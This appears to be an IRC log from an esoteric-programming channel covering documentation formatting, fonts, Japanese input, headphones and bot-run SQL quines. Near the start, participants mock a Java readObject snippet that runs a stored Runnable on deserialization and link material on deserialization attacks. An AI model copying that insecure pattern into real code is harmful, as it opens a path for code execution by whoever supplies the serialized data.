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11:32:24 <mroman> git add *.* && git commit -m "fnord" && git push -u origin master --tags
11:33:35 <mroman> This is the right channel.
11:41:49 <mroman> Codegolf.Stackxechange should stop calling itself codegolf.
11:42:07 <mroman> People downvote code because they 'think' it does not work
11:45:20 <int-e> can't you downvote those people... ;)
11:54:10 <int-e> this is nice... class Foo implements Serializable { private final Runnable initHook; public void readObject(ObjectInputStream ois) { ois.defaultReadObject(); initHook.run(); } } ... what could possibly go wrong?
12:02:50 <int-e> http://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles
12:02:57 <mroman> http://mroman.ch/burlesque/docs/BLSQ.html
12:03:05 <mroman> ^- Does that look decent as a documentation format?
12:03:19 <mroman> I'm using pandoc MD -> HTML and some CSS
12:04:30 <mroman> That's not how anything of this works
12:05:54 <int-e> what do you mean .... it's just skipping over details to get to the interesting parts.
12:06:09 <int-e> there's a class name in there, and a field name, and the field type...
12:06:24 <mroman> you don't save a "isAdmin=1" on the client
12:06:41 <mroman> not in a cookie, not in a base64 encoded cookie, not in a base64 encoded serialized java object
12:06:58 <int-e> which is why the exploits later on generally do something more interesting.
12:07:12 <mroman> I'm not really a Java-Expert
12:07:20 <int-e> In any case I'm sure this has happened.
12:07:23 <mroman> but I'd say readObject shouldn't really trigger much else
12:07:40 <mroman> int-e: There were a lot of php webapps that did set isAdmin cookies, yes.
12:07:55 <int-e> Because at a glance, serialized objects look inscrutable, so nobody is going to bother modifying those... right ;)
12:08:33 <int-e> And also, you need to ship the fucking application, deadlines are more important than basic security.
12:09:03 <int-e> (you can always fix that later)
12:09:18 <int-e> ;-) ;-> :-P <-- sprinkle those above as needed.
12:09:46 <mroman> I know damn well that deadlines are more important than anything else
12:10:19 <mroman> We've released two unfinished products as "finished" :D
12:10:37 <int-e> and it gets interesting when you use DSLs with no clear client/server separation in the source code.
12:12:35 <mroman> and I work in IT Security
12:12:40 <mroman> that's the worst part about that :)
12:12:50 <mroman> in the end you need money to pay the developers salaries.
12:15:14 <int-e> Documentation looks fine, but I'm not a big fan of the asymmetric boxes (with the top border thicker than the bottom border), and I would probably try to separate the commands more visibly (is it possible to indent the descriptions of the individual commands?)
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12:19:45 <int-e> oh I came from http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/ which also seems worth reading.
12:23:50 <mroman> Depends on if pandoc generates <p> or something
12:23:58 <mroman> then I could indent h1 p or something
12:24:27 <mroman> nah. that won't work :(
12:25:12 <mroman> I could indent pre elements?
12:25:30 <mroman> If that's what you meant?
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12:55:15 <Jafet> "When Java reads in a serialized object, the first thing it does after reading in the raw bytes is call the user-defined “readObject” method if it exists."
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13:02:17 <mroman> yeah, that way you can do some custom things
13:02:30 <mroman> like custom serialization formats and the like
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13:10:26 <int-e> Jafet: you could do good things with that, like *validation* to protect against malicious modification ;)
13:11:15 <int-e> (but of course it may be too late for that at that point)
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15:03:41 <HackEgo> [wiki] [[User:InputUsername]] M http://esolangs.org/w/index.php?diff=45162&oldid=43674 * InputUsername * (-60) Removed dead link
15:09:47 <HackEgo> [wiki] [[Langar.io]] M http://esolangs.org/w/index.php?diff=45163&oldid=43655 * InputUsername * (+104)
15:17:29 <oerjan> <myname> so... anybody has an opinion about that GI thing? <-- coool hth
15:18:28 <oerjan> still 3 days to find out what it actually _is_
15:19:10 <oerjan> next up, get a polymath project to strengthen it to polynomial twh
15:19:44 <oerjan> (with enormous luck, i might understand the proof?)
15:22:23 <Jafet> What's GI-complete, anyway?
15:24:34 <oerjan> Jafet: that's an ambiguous question, please clarify
15:25:39 * oerjan is too tired to think again, and the neighbors are wearing high heels or something
15:29:07 <Jafet> According to https://en.wikipedia.org/wiki/Graph_isomorphism_problem#GI-complete_and_GI-hard_problems GI-complete seems to mainly consist of other variants of GI.
15:35:10 <HackEgo> [wiki] [[User:SuperJedi224]] http://esolangs.org/w/index.php?diff=45164&oldid=44288 * SuperJedi224 * (+16)
15:36:27 <int-e> (I'm assuming it's graph isomorphism, but what's new about them?)
15:37:17 <oerjan> there's an announcement of a presentation of a proof that it's solvable in quasi-polynomial time
15:37:53 <oerjan> http://www.scottaaronson.com/blog/?p=2521
15:37:55 <int-e> ah, sounds exciting indeed
15:53:11 <oerjan> why isn't edwardk around
15:54:09 <oerjan> @tell edwardk It seems like I and András Kovács almost simultaneously got the same idea to fix your Data.Constraint.Forall.
16:12:00 <oerjan> and i finally get sucked into getting a github account.
16:14:00 <shachaf> oerjan: based on yesterday's events he is probably asleep right now hth
16:14:40 <oerjan> argh verification email is slow
16:23:51 <HackEgo> [wiki] [[CASTLE]] http://esolangs.org/w/index.php?diff=45165&oldid=45161 * Quintopia * (+987) conditional transitions
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16:37:25 <\oren\> Gastro-Intestinal-Complete?
16:38:39 <\oren\> "A machine is GI-complete if it has the same computing power as the gut bacteria of a healthy mammal."
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16:56:12 <HackEgo> [wiki] [[DStack]] http://esolangs.org/w/index.php?diff=45166&oldid=45157 * -Dark-Phantom- * (+18) Category:2015
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17:13:55 * \oren\ . o O (sofuto kaihatsu jogakuen)
17:22:19 <b_jonas> \oren\: I have a preliminary plan about how to extend my keyboard layout, adding more letters, but now I have doubts about it
17:22:32 <b_jonas> \oren\: http://www.math.bme.hu/~ambrus/pu/keymap
17:22:48 <b_jonas> \oren\: perhaps you want to comment
17:24:19 <b_jonas> hmm, I should add a very few punctuation signs, namely × and °
17:27:23 <\oren\> you may wish to have a shift for greek letters. (I just shift into jp and then アルファ ⇒ α)
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17:30:09 <b_jonas> \oren\: I don't think I ever type greek letters
17:30:47 <int-e> \alpha \beta \gamma \delta...
17:31:25 <\oren\> arufa be-ta ganma deruta
17:33:31 <b_jonas> ok, those are easy. how do you write theta and phi?
17:34:23 <b_jonas> (do they say "mega" of omega in greek or Japanese?)
17:35:03 <\oren\> looks like it's omega in japanese
17:35:11 <\oren\> I hadn't used that one
17:35:30 <b_jonas> heh, I thought you knew the complete set
17:35:56 <\oren\> nah, I ha to look up lambda, I had only used a few of them
17:36:11 <\oren\> I thought it would be lamubuda
17:37:27 <\oren\> https://ja.wikipedia.org/wiki/%CE%9B
17:37:51 <\oren\> the sidebar has all of them
17:40:24 <\oren\> japanese IME's can also type weird things like enu -> Н
17:40:28 <b_jonas> \oren\: yes, and the table https://ja.wikipedia.org/wiki/%E3%82%AE%E3%83%AA%E3%82%B7%E3%82%A2%E6%96%87%E5%AD%97#.E6.96.87.E5.AD.97 gives multiple names
17:41:14 <b_jonas> although it looks like a H
17:41:36 <\oren\> basicaly, if it exists in the JIS encoding, an IME can type it
17:43:54 <\oren\> jis includes greek and cyrillic, but in JIS they are treated as unusual kanji (double width)
17:45:19 <\oren\> α has the reading: あるふぁ
17:46:35 <b_jonas> \oren\: and do you also have a way to find out how to type any such characters in an IME?
17:48:24 <\oren\> but typically you can find it by copypasting into the search box of japanese wikiedia
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18:06:11 <oerjan> andraskovacs found a workaround for the bug
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18:19:57 <oerjan> Data.Constraint.Forall might be repaired
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18:37:02 <b_jonas> oh, that's not the same bug then
18:37:22 <b_jonas> have you seen ais523 these days?
18:37:30 <b_jonas> I think he hasn't been in for a week
18:38:23 <mroman> by that estimate the Burlesque documentation will span 254 pages
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19:33:58 <b_jonas> quintopia: to look different from the other two o-guys who are frequently here
19:34:37 <quintopia> like #esoteric is actually important or something
19:35:37 <b_jonas> quintopia: indeed, I generally don't choose nicknames for just one channel, and when I do, I rather log in with a separate connection for just that channel, temporarily, rather than change my main nick
19:37:33 <b_jonas> I'm not sure, maybe oerjan is the only one, plus the olist
19:42:14 <Sgeo> http://www.smbc-comics.com/index.php?id=3919
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20:03:36 <HackEgo> [wiki] [[Poop]] http://esolangs.org/w/index.php?diff=45167&oldid=39419 * 93.198.139.110 * (+502) Added "poopOut"
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20:43:31 <quintopia> hppavilion[1]: don't forget okplopol
20:48:52 <fizzie> I call them just "ok-star", it's easier that way.
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21:52:15 <hppavilion[1]> My font now supports the Germanic alphabet (minus e with umlaut, which someone says is used but is not listed on Wiki, as well as a capital sharp S because of rare usage) and the Norwegian is in progress
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21:54:29 <b_jonas> hppavilion[1]: what font? where?
21:54:45 <hppavilion[1]> b_jonas: The one for WalrusOS, which is the first WalrusOS
21:55:15 <b_jonas> where can I see a sample for this font?
21:56:22 <hppavilion[1]> b_jonas: I have an imgur post somewhere that has an old version that supported I think the full english alphabet, at least lowercase
21:56:36 <hppavilion[1]> Would you like to see that, or should I take a new screenshot and upload it for you?
21:57:23 <b_jonas> (and I should make samples for my font too)
21:57:25 <hppavilion[1]> (OR you could download the software; It's not a font you can use normally, you need to use the custom renderer. I thought it'd be more fun and easier for me that way)
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22:03:15 <b_jonas> hppavilion[1]: is this a monospaced font? is it scalable? how is it described? I mean the way TTF fonts are glyph outlines made of quadratic Bézier curves plus some hinting, and kerning tables.
22:03:45 <hppavilion[1]> b_jonas: It's described in a command prompt-like vector language encoded into JSON. It's vector.
22:03:58 <hppavilion[1]> It is monospace, though some characters are twice as wide as the standard
22:04:20 <hppavilion[1]> Normal characters are 14*28; lowercase only takes up half height.
22:04:33 <b_jonas> it looks a bit strange, but some of that might be deliberate
22:04:41 <hppavilion[1]> (I realized a bit after finishing the lowercase english alphabet I should've done 16*32)
22:05:01 <hppavilion[1]> I mean, it's for the EsOS, so that's good, but I'm curious
22:05:45 <b_jonas> hppavilion[1]: the letters have a strangely varying height and depth. "s" is too deep and maybe also too high, "m" is less high than others,
22:06:22 <b_jonas> the "@" is small and has a strange shape, the "&" has a somewhat strange shape,
22:06:27 <hppavilion[1]> The m is actually the same height in the code, iirc, it just looks strange because the humps are so thin
22:06:45 <hppavilion[1]> The @ had to be small for monospace and the & is INCREDIBLY difficult
22:07:02 <hppavilion[1]> (I'm encoding this in a vector language by hand, remember)
22:07:12 <b_jonas> the "6" doesn't look high enough, the "5" has a shape that I don't really like, namely where the vertical part and the arc meets it goes too low, and as a result the arc is too closed and too small.
22:07:40 <hppavilion[1]> It's good enough. I mean, it's legible at least xD
22:07:48 <b_jonas> hppavilion[1]: the "@" could still be taller, even in monospaced, and the part where the small a meets the curvy part looks wrong
22:08:34 <hppavilion[1]> It's as close as I plan to make it for now; I'm having a friend make a good font for actual printing in the OS
22:09:05 <b_jonas> also, the "æ" looks wrong, it's too wide and looks too much like an "œ" because it uses a one-storeyed "a" instead of a two-storeyed one,
22:09:25 <b_jonas> and the "Æ" also looks too wide to me,
22:09:44 <b_jonas> but as you are probably reading more Norwegian than me, you might know better how those should look.
22:10:10 <b_jonas> also the "^" is placed somewhat low, though that could be deliberate
22:10:41 <b_jonas> and the "'" is a bit small
22:10:49 <b_jonas> the "\"" is a bit small too
22:11:03 <b_jonas> but in general, it does look nice and somewhat readable
22:11:18 <b_jonas> oh, and the "W" is too narrow, so perhaps you could make the sides more vertical
22:12:44 <b_jonas> why would you do that in a font that's otherwise monospaced?
22:13:01 <hppavilion[1]> b_jonas: Legibility; the command prompt is english, so it won't particluarly matter
22:13:11 <hppavilion[1]> Also, characters like that are never used in ASCII art
22:13:43 <b_jonas> and you have a renderer (terminal) that handles a grid of characters but allows double-width?
22:13:45 <hppavilion[1]> And if I made ae use a double-story a it would look bad against the a (which is single-story)
22:15:23 <hppavilion[1]> But double-story a is hard in my current vector format
22:16:11 <hppavilion[1]> (I only have "line", "circle", "ellipse", "arc", and "ellarc", plus a special-purpose command for the squares on line 6)
22:16:12 <b_jonas> it looks as if the "Æ" is narrower than two character cells,
22:16:40 <\oren\> if it's an eso-os there shouldn't be a problem making the widths of characters nonstandard
22:16:51 <hppavilion[1]> There's a 5-pixel (or maybe 10-pixel) space between characters
22:17:18 <b_jonas> hppavilion[1]: oh, so that's the problem
22:17:25 <b_jonas> then they're not really double width
22:17:51 <b_jonas> hppavilion[1]: also, I think the "7" doesn't reach the floor
22:18:14 <hppavilion[1]> b_jonas: It does. It might just be pixels lost at this resolution in rendering
22:19:39 <hppavilion[1]> I have the Germanic and Norwegian alphabets. What characters should I do next?
22:19:45 <b_jonas> hppavilion[1]: and the same applies to the right leg of "A" ?
22:19:49 <b_jonas> hppavilion[1]: you should do the "}"
22:19:56 <int-e> did we already have the "font of wisdom" in our topic?
22:20:18 <b_jonas> hppavilion[1]: also the "ø" and the "å"
22:20:21 <hppavilion[1]> b_jonas: I SHOULD, but I'm putting that one off because { was a huge pain in the ass
22:20:31 <hppavilion[1]> b_jonas: Already finished those after screenshotting
22:20:40 <int-e> Ah, "The font of all knowledge" ... close enough.
22:20:44 <\oren\> can't you adapt the code for the { reversing it?
22:20:47 <b_jonas> hppavilion[1]: even if "{" was a huge pain, can't you just mirror it and shift it properly for "}" ?
22:21:23 <hppavilion[1]> b_jonas: Yes, but I would have to do math in my head, and I don't have an automirror program yet (though I could certainly write one)
22:21:38 <b_jonas> hppavilion[1]: oh, there's more pixel inaccuracy problems: the "P" has a gap
22:22:06 <b_jonas> hppavilion[1]: add a mirror capability. it will be useful for sprites in the game anyway
22:22:26 <\oren\> vector graphics are a pain, that's why my font is dont using pixels
22:22:33 <b_jonas> hppavilion[1]: analyzing => (a) #esoteric , (b) I did it with zzo too
22:23:10 <b_jonas> hppavilion[1]: also, I think maybe you should slant the "/" and "\" more, and perhaps add a gap into "|" so it's more distinct
22:23:39 <b_jonas> I mean, you already have a "0" with a dot in the middle, so a "|" with a gap wouldn't look mismatched
22:23:59 <hppavilion[1]> I actually was thinking about the 0 with a dot when I was making it
22:24:08 <b_jonas> hppavilion[1]: is it deliberate that the "." and the ":" are shifted to the left so much?
22:24:15 <\oren\> isn't there a separate uncidoe charatcer for gapped |?
22:24:18 <b_jonas> hppavilion[1]: and definitely make the "'" and "\"" bigger
22:24:36 <hppavilion[1]> b_jonas: I put them in the middle because it felt right at the time
22:24:38 <b_jonas> \oren\: yes there is, it's in iso-8859-1, ¦
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22:24:48 <b_jonas> hppavilion[1]: they're not in the middle
22:25:14 <b_jonas> the "." and the ":" are very close to the left edge
22:25:18 <b_jonas> they're definitely not in the middel
22:25:38 <\oren\> oh, i see, the . is in the middle of the character, but there is a gap between characters
22:25:57 <b_jonas> hppavilion[1]: the ":" reaches more to the left than the left vertical side of the "P"
22:28:18 <b_jonas> hppavilion[1]: oh, and check the "-" and the "=" and the ":" to verify they're not too high when they're among lower-case letters
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22:28:59 <hppavilion[2]> b_jonas: Should I just make "/" and "\\" span the corners?
22:29:01 <b_jonas> hppavilion[1]: and maybe lower the bar of the "A" but that's not such a big problem
22:29:23 <b_jonas> hppavilion[1]: I'm not sure, the "/" and "\\" vary a lot between fonts, it's a matter of style
22:29:36 <b_jonas> so mostly what works for you
22:29:46 <hppavilion[2]> Maybe I should make / and \ have a gap for the eso factor, but not | xD
22:30:01 <b_jonas> uh... the "\" can have a gap, but the "/" shouldn't
22:30:44 <b_jonas> there's "÷" and "∕" and "⟌" when you want strange slashes
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22:31:23 <b_jonas> that stuff crazy Americans use for "teaching" long division in elementary school
22:31:54 <hppavilion[2]> It was an early manifestation of my appreciation for algorithms
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22:33:18 <b_jonas> good luck with this font, and the rest
22:34:28 <hppavilion[1]> (That was effectively conversation termination, correct?)
22:35:19 <b_jonas> not really, I'm still here for a bit, but I don't have any more comment on the font for now
22:35:51 <b_jonas> so yes, conversation termination, but not goodbye
22:38:52 <b_jonas> I mean, oren's font has lots of characters, so I could criticize stuff like the appearance of the letters with caron and the comma under
22:40:18 <b_jonas> \oren\: are you planning to go through the first two grades of kyōiku kanji and add them all?
22:41:57 <b_jonas> do the vertical long vowel sign and those strange repeat marks first :-)
22:43:30 <b_jonas> meanwhile, hurray for Saturday!
22:43:42 <b_jonas> enjoy it while it lasts if you're in such a timezone
22:43:59 <\oren\> it's only 5:45 in canada
22:44:14 <\oren\> er, in Toronto, anyway.
22:44:35 <\oren\> so for like 8 million canadians anyway
22:46:12 <b_jonas> sure, and already Sunday for a billion Asians
22:50:58 <fizzie> It's been very fireworksy hereabouts.
22:52:07 <\oren\> wait, isn't ︱ the vertical long vowel sign?
22:52:17 <HackEgo> [U+FE31 PRESENTATION FORM FOR VERTICAL EM DASH]
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23:31:52 <olsner> hppavilion[1]: I am not the other one, oerjan is
23:34:36 <olsner> (oklopol is probably the original o)
23:35:13 <olsner> oh, and actually oerjan starts with an ø, so not even an o
23:35:17 <hppavilion[1]> You're the "other one" from MY POV, because oerjan is on more often than you are when I'm on.
23:35:52 <olsner> that's just a typographical workaround
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23:42:57 <oerjan> hppavilion[1]: not in nicks
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23:43:34 <oerjan> also, i've had this nick for decades, so i'm not going to stop using it. i just used it to register on github...
23:44:16 <oerjan> admittedly i'm using Ørjan in at least one place (yafgc comment sections)
23:44:20 <int-e> oerjan is easier to type than ørjan anyway
23:44:32 <oerjan> and my full name on stackoverflow
23:45:16 <oerjan> i found a flaw in the new Data.Constraint.Forall construction too :( but i think it's repairable.
23:50:30 <fizzie> There was an Øjvind (or maybe an Öjvind; you see both) as the name of a fictitious person in a math assignment.
23:51:21 <fizzie> It was probably Öjvind, because they were the last in something or another (I've forgotten the plot), and Ö comes in last in the Finnish alphabet; Ø we don't have.
23:53:12 <fizzie> Seen at the office: https://googledrive.com/host/0B4J9OAzXNfZAX2xhYVpha0w2QUk
23:53:19 <Taneb> Regarding the topic, is there a left channel?
23:53:32 <Taneb> Or are we monophonic
23:54:09 <hppavilion[1]> The data model for my default shell in WalrusOS allows me to define commands like DROP and DUP
23:54:11 <fizzie> The only channel in a monophonic thing is more commonly the left rather than the right channel, but who knows.
23:55:16 <hppavilion[1]> DROP is SAVE POP RETRIEVE and DUP is SAVE POP PUSH PUSH RETRIEVE
23:55:42 <hppavilion[1]> DUP could, in theory, have an "r" flag that tells it how many times to dup if I were to add FOR loops
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23:55:58 <olsner> Taneb: if you remove the right channel, only the wrong ones are left
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23:57:54 <fizzie> If you subtract the left and right channels, sometimes all the vocals are gone.
23:58:15 <HackEgo> [wiki] [[DStack]] http://esolangs.org/w/index.php?diff=45168&oldid=45166 * -Dark-Phantom- * (+547) My first quine
23:59:42 <\oren\> fizzie: yeah, that sometimes happens with broken headphones
00:00:27 <HackEgo> [wiki] [[List of quines]] http://esolangs.org/w/index.php?diff=45169&oldid=42623 * -Dark-Phantom- * (+546) DStack
00:00:43 <Taneb> I think I will go to bed now
00:01:18 <int-e> I think fizzie was referring to the fact that vocals are often recorded "center stage"
00:01:34 <int-e> Whereas instruments may be placed more freely
00:01:53 <int-e> . o O ( "face the music", hmm, where does that phrase come from )
00:05:19 <int-e> That didn't help. "The precise allusion in this expression has been lost."
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00:12:54 <oerjan> oh treeowl _is_ dfeuer
00:13:37 <\oren\> int-e: yes, exactly. if the headphone break in such a way that the left and ground are shorted, the left side will be silent and the right will have a watery sound without any vocals
00:15:40 <\oren\> or sometimes you'll hear the left as the same as the right due to the ground being driven in the opposite of the right
00:18:39 <\oren\> the main problem is that those hedphone plugs are a stupid design that shorts easily
00:21:01 <\oren\> thy should have used a three-pin D-Sub
00:22:19 <b_jonas> olsner: no, only oerjan's evil twin starts with an ø, oerjan himself doesn't
00:25:36 <int-e> \oren\: but then people would have to worry about orientation when pluggin the headphones in...
00:26:51 <b_jonas> aren't the headphone plugs for hysterical raisins, to be compatible with mono headphones; plus they also have like four different variants, for different ways to transmit the microphone and button data for mobile phone headsets, of which three are non-Apple?
00:27:06 <b_jonas> but sure, headphones break easily
00:28:59 <HackEgo> superexponential growth/Superexponential growth? SUPEREXPONENTIAL GROWTH?! HOLY CRAP!!!
00:29:02 <b_jonas> fungot, do you use headphones?
00:29:02 <fungot> b_jonas: does anyone know the technical details of the lhc in swiss fnord? how much dollars or euros is that? fnord ( user fnord)
00:29:30 <int-e> Hmm, funny. I believe I have only had one of those plugs break on me so far... it ended up breaking the loudspeaker circuit permanently instead of only when phones were plugged in.
00:29:49 <int-e> well, s/plug/socket/
00:31:25 <int-e> broken headphones otoh are just part of life... heh
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00:34:44 <Shubshub> Been a while since I've been here
00:38:17 <fizzie> fungot: I think it's pretty expensive, I don't think we could afford it.
00:38:17 <fungot> fizzie: but, if he is really admin on here it says 1985 and on imdb it has both a navy/ mc aircraft were redesignated according to the interview with fnord fnord
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01:01:08 <HackEgo> [wiki] [[User:-Dark-Phantom-]] M http://esolangs.org/w/index.php?diff=45170&oldid=45136 * -Dark-Phantom- * (+129) a little more information
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02:08:10 <HackEgo> [wiki] [[Microscript]] http://esolangs.org/w/index.php?diff=45171&oldid=45069 * SuperJedi224 * (+48)
02:09:30 <HackEgo> [wiki] [[Microscript]] http://esolangs.org/w/index.php?diff=45172&oldid=45171 * SuperJedi224 * (-2) /* Example programs */
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02:19:24 <HackEgo> [wiki] [[Microscript]] http://esolangs.org/w/index.php?diff=45173&oldid=45172 * SuperJedi224 * (-2) /* Example programs */
02:20:00 <HackEgo> [wiki] [[Microscript]] http://esolangs.org/w/index.php?diff=45174&oldid=45173 * SuperJedi224 * (-1) /* Example programs */
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02:32:55 <zzo38> In CLC-INTERCAL there is SWAP command to change the meaning of commands; I thought of if such thing could be done with Magic: the Gathering such as if one card swap "protection from" with "bands with other", or swap "scry" with "fateseal", or swap "rampage" with "absorb", or something else.
02:35:08 <HackEgo> [wiki] [[Deadfish]] http://esolangs.org/w/index.php?diff=45175&oldid=45060 * 101.187.120.107 * (+116) /* External resources */
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02:46:24 <HackEgo> [wiki] [[Microscript]] http://esolangs.org/w/index.php?diff=45176&oldid=45174 * SuperJedi224 * (+0) /* Factorial (13 bytes) */
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03:01:16 <HackEgo> U+2603 SNOWMAN \ UTF-8: e2 98 83 UTF-16BE: 2603 Decimal: ☃ \ ☃ \ Category: So (Symbol, Other) \ Bidi: ON (Other Neutrals)
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03:37:11 <HackEgo> [wiki] [[Microscript II]] http://esolangs.org/w/index.php?diff=45177&oldid=45026 * SuperJedi224 * (+129) /* Instructions */
03:42:23 <HackEgo> [wiki] [[Microscript II]] http://esolangs.org/w/index.php?diff=45178&oldid=45177 * SuperJedi224 * (+122)
03:42:32 <HackEgo> [wiki] [[Microscript II]] http://esolangs.org/w/index.php?diff=45179&oldid=45178 * SuperJedi224 * (+1)
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03:45:13 <HackEgo> [wiki] [[Microscript II]] http://esolangs.org/w/index.php?diff=45180&oldid=45179 * SuperJedi224 * (+8) /* Instructions */
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04:20:59 <zzo38> If they would ever make a new version of "Bargain" card as an instant then it would be much better than a sorcery.
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04:33:44 <\oren\> https://ja.wikipedia.org/wiki/JIS_X_0213#/media/File:JIS_X_0213_2000-2004.gif <- augh
05:05:51 <\oren\> wow katakana words are sometimes more inscruatble than kanji words. "maruchibaito" -> "multibyte" took me almost a whole minute to figure out
05:06:28 <\oren\> s/inscruatble/inscrutable/
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05:19:07 <HackEgo> U+3004 JAPANESE INDUSTRIAL STANDARD SYMBOL \ UTF-8: e3 80 84 UTF-16BE: 3004 Decimal: 〄 \ 〄 \ Category: So (Symbol, Other) \ Bidi: ON (Other Neutrals)
05:21:14 <zzo38> Do you know how you are supposed to figure out filename of GF/PK fonts when the resolution of the printer does not use square dots?
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06:42:27 <hppavilion[1]> Well, now it's about 2 pixels too short, by the looks of it
06:57:17 <HackEgo> [wiki] [[Hello++]] http://esolangs.org/w/index.php?diff=45181&oldid=40873 * 173.51.108.216 * (+16)
07:24:22 <hppavilion[1]> I think I'm going to change the way it works for efficiency purposes, make it so I only have to rerender the current command every time a character is pressed.
08:05:28 <hppavilion[1]> OK. It's now ~1000000000000% more efficient now that it doesn't have to render every line of text every time
08:05:57 <hppavilion[1]> Though it still has to render the last line each time it gets printed. Maybe I should fix it so only the last letter is affected, as that's the only one you can influence
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09:06:58 <b_jonas> int-e: I had one headphone plug of which a metalic part was broken off and stuck in the headphone socket of a then expensive electronic device, so that we couldn't use either the headphone output or the builtin speaker of that device, because it thought a headphone was plugged in.
09:09:34 <b_jonas> eventually after some months, we got it out, but it needed a dentist's special tool.
09:10:07 <b_jonas> I have electric engineer's tools accessible, those weren't enough.
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10:05:21 <zzo38> I partially made up a "TVMIDI" specification in an attempt to make up a specification to allow a TV cable box to be controlled by MIDI.
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10:14:54 <b_jonas> what... do you mean like playing on an electric pipe organ to change channels?
10:20:01 <zzo38> I suppose it could, although that isn't the intention. MIDI CC 0 and 32 are used to change channels (although note events may be used like pushing buttons on a remote control, so if your organ has enough range then it may be possible to do this)
10:22:09 <zzo38> MIDI CC 64 is used to control the OSD. If all bits are set, then the OSD is fully suppressed and only the TV show can be displayed.
10:23:38 <b_jonas> zzo38: sorry, the pipe organ thing just put an image to my head
10:24:38 <b_jonas> (like the organ used to control… something… in MLP FIM S4 E03)
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11:03:36 <HackEgo> [wiki] [[Pointer-ng]] N http://esolangs.org/w/index.php?oldid=45182 * 93.198.147.238 * (+2811) Created page with "pointer-ng is an extended version of [[Brainfuck]] by [http://twitter.com/fucketh1cs Maximilian Krause (aka fucketh1cs)] who also wrote an interpreter for it. pointer-ng is a ..."
11:27:33 <HackEgo> [wiki] [[Talk:Runespells]] N http://esolangs.org/w/index.php?oldid=45183 * LegionMammal978 * (+133) Created page with "What, exactly, does Ni do? ~~~~"
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11:44:19 <HackEgo> [wiki] [[Talk:DL]] N http://esolangs.org/w/index.php?oldid=45184 * LegionMammal978 * (+150) Created page with "The website seems to have been compromised. ~~~~"
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11:52:42 <boily> ♪ la la la ♪ scrozzling OSes with unstable usb keeeeys la la la ♪
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12:30:07 <b_jonas> `` sqlite3 :memory: 'SELECT 3+8;'
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12:31:09 <b_jonas> `` sqlite3 :memory: $'SELECT\nab||a||a||a||a||aa||b||a||b||a||bb||b||\na||aa||a||aa||aa||b||a||bb||a||bb||bb||b||\na||ab||a||aa||bb||b||a||ba||a||bb||aa||ba\nFROM(SELECT''''a,','b,'a'aa,'b'bb,'SELECT\nab||a||a||a||a||aa||b||a||b||a||bb||b||\na||aa||a||aa||aa||b||a||bb||a||bb||bb||b||\na||ab||a||aa||bb||b||a||ba||a||bb||aa||ba\nFROM(SELECT'ab,');'ba);\n'
12:31:10 <HackEgo> bash: -c: line 0: syntax error near unexpected token `SELECT'ab,'' \ bash: -c: line 0: `sqlite3 :memory: $'SELECT\nab||a||a||a||a||aa||b||a||b||a||bb||b||\na||aa||a||aa||aa||b||a||bb||a||bb||bb||b||\na||ab||a||aa||bb||b||a||ba||a||bb||aa||ba\nFROM(SELECT''''a,','b,'a'aa,'b'bb,'SELECT\nab||a||a||a||a||aa||b||a||b||a||bb||b||\na||aa||a||aa||aa||b||a|
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12:31:54 <b_jonas> `` sqlite3 :memory: $'SELECT\nab||a||a||a||a||aa||b||a||b||a||bb||b||\na||aa||a||aa||aa||b||a||bb||a||bb||bb||b||\na||ab||a||aa||bb||b||a||ba||a||bb||aa||ba\n'"FROM(SELECT''''a,','b,'a'aa,'b'bb,'SELECT"$'\nab||a||a||a||a||aa||b||a||b||a||bb||b||\na||aa||a||aa||aa||b||a||bb||a||bb||bb||b||\na||ab||a||aa||bb||b||a||ba||a||bb||aa||ba\nFROM('"SELECT'ab,');'ba);"$'\n'
12:31:55 <HackEgo> SELECT \ ab||a||a||a||a||aa||b||a||b||a||bb||b|| \ a||aa||a||aa||aa||b||a||bb||a||bb||bb||b|| \ a||ab||a||aa||bb||b||a||ba||a||bb||aa||ba \ FROM(SELECT''''a,','b,'a'aa,'b'bb,'SELECT \ ab||a||a||a||a||aa||b||a||b||a||bb||b|| \ a||aa||a||aa||aa||b||a||bb||a||bb||bb||b|| \ a||ab||a||aa||bb||b||a||ba||a||bb||aa||ba \ FROM(SELECT'ab,');'ba);
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12:32:18 <b_jonas> `` sqlite3 :memory: "SELECT replace(s,char(33),'''')||s||'''s);'FROM(SELECT'SELECT
12:32:18 <HackEgo> bash: -c: line 0: unexpected EOF while looking for matching `"' \ bash: -c: line 1: syntax error: unexpected end of file
12:33:12 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: sqli: not found
12:33:17 <b_jonas> `` echo $'#!/bin/sh\nexec sqlite3 :memory: "$@"' > bin/sqli && chmod a+x bin/sqli
12:33:36 <b_jonas> `sqli SELECT replace(s,char(33),'''')||s||'''s);'FROM(SELECT'SELECT replace(s,char(33),!!!!)||s||!!!s);!FROM(SELECT!'s);
12:33:36 <HackEgo> Error: no such function: char
12:33:51 <b_jonas> `sqli SELECT sqlite_version();
12:34:52 <b_jonas> fungot, install SQLite 3.9.2 to HackEgo please
12:34:53 <fungot> b_jonas: besides all the disputes that have been investigated. user:jb3 sup -(user talk:jb3)/sup 10:22, 26 march 2006 ( utc) user:keith binneykeith binney ( user talk:keith binneytalk) 06:15, 15 july 2006 ( utc
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12:43:21 <fizzie> fungot: Get rid of those signatures in this model, please.
12:43:21 <fungot> fizzie: this book sucks
12:44:03 <fizzie> fungot: That's a bit harsh, and Wikipedia talk pages aren't really even a book.
12:44:04 <fungot> fizzie: continuous learning management is a fnord which is available through the usa link. user:83d40m83d40m 22:58, 17 june 2008 ( utc)/small!-- template:unsignedip !--autosigned by sinebot-- ( nevermind, it's under gang of four ( disambiguation)" is the best example of an organization and its activities, not present arguments about the beliefs the organization promotes. those arguments may be entirely true, as the
12:47:00 <fungot> Available: agora alice c64 ct darwin discworld enron europarl ff7 fisher fungot homestuck ic irc iwcs jargon lovecraft nethack oots pa qwantz sms speeches ss wp* youtube
12:47:16 <int-e> fungot: is there a cosinebot?
12:47:17 <fungot> int-e: can we request fnord for this term. there are no objections in a week or two, and either they have made substantial incursions into parts of georgia that have nothing to do with the development and building of horse transports for use in the carolinas. in much of the dispute was added by" user:raskolnikov the penguinraskolnikov the penguin ( user talk:raskolnikov the penguintalk • special:contributions/ ra
12:47:40 <int-e> It seems to be a bad idea to learn from discussion pages...
